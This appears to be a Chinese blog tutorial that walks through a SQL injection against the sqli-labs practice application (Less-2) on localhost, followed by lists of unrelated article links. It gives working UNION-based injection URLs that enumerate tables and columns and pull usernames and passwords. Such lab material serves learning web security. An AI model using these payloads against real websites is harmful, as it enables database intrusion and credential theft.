SQL注入流程图
http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=1
1 输入单引号 ‘ 进行检验是否存在输入
http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=1 ‘
2 输入 and 1=2 检验是字符型还是数字型
http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=1% and 1=2
报错,证明是数字型。
3 输入order by 查看这个网站所错在的表有几列
http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=1 order by 3
使用二分法,如果输入错误则报错,如果存在就维持原状。
4 输入union select 进行 union select联合查询
http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2,3 %23
发现有2个输出位(为了union联合查询可以正常运行所以要使前方信息报错,后边用%23进行注释)
5 输入 version() 发现输出位查询数据库版本号
http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2,version() %23
发现版本号为5.5.23(版本号5.0以上会专门生成一个叫information_schema的库,这个库里有数据库中所有表的名字)
6 输入group_concat(table_namefrom information_schema.tables where table_schema = database() %23 查询数据库所拥有的表名
http://127.0.0.1/sqli-labs-master/Less-2/index.php?id=-1 union select1,2,group_concat
(table_namefrom information_schema.tables where table_schema = database() %23
7 输入group_concat(column_name)%20from information_schema.columns where table_schema = database() and table_name ="users" %23 查询出users表里的列名
http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2,group_concat(column_name)%20from information_schema.columns where table_schema = database() and table_name ="users"%23
8 输入group_concat(username) from security.users 查出users表中username列中 用户名
http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2, group_concat(username) from security.users %23
9 输入group_concat(password) from security.users %23 查出user表中的password列中密码
http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2, group_concat(password) from security.users %23
group_concat() 显示查询到所有的列
information_schema一个库
schemata:保存所有数据库的名字
tables:保存说有表的名字
columns:保存所有字段的名字
感觉不错的,点个关注,
评论区里留下你们想知道的。下一期给出你们答案。
最新文章
- Java程序设计之Constructor
- sql单表中某一字段重复,取最近3条或几条数据
- Nginx限制访问速率和最大并发连接数模块--limit (防止DDOS攻击)
- CoreLoation
- Objective-C语言控制语句
- 【HDOJ】【3709】Balanced Bumber
- 永久的CheckBox(单选,全选/反选)!
- Matlb中break 和continue 语句
- 开源网络备份软件 bacula 的安装、配置和运行
- iOS RTMP 视频直播开发笔记(1) – 采集摄像头图像
- 推测的手机型号和cpu模型
- AtCoder Beginner Contest 055题解
- html表格宽度设置失效
- LeetCode之“链表”:Add Two Numbers
- 安装searchd
- Mysql 和 Postgresql 抛开性能的对比
- Docker(二十四)-Docker使用Portainer搭建可视化界面
- 利用vue-cropper做的关于图片裁剪、压缩、上传、预览等做的一个公共组件
- 搭建docker管理工具(DOCKER-UI)
- nodejs实现拉钩网爬虫
热门文章
- 一本通 1615:【例 1】序列的第 k 个数
- K8s StatfulSet使用总结
- C语言-memset()
- bind 安装 和配置(master/slave)
- java基础 JDBC &; Statement &; PreparedStatement
- Spring Security教程(五)
- C# Process.Start()函数打开url被360拦截问题
- 模拟 + 暴搜 --- Help Me with the Game
- SpringBoot 基础(一)
- Elasticsearch 记录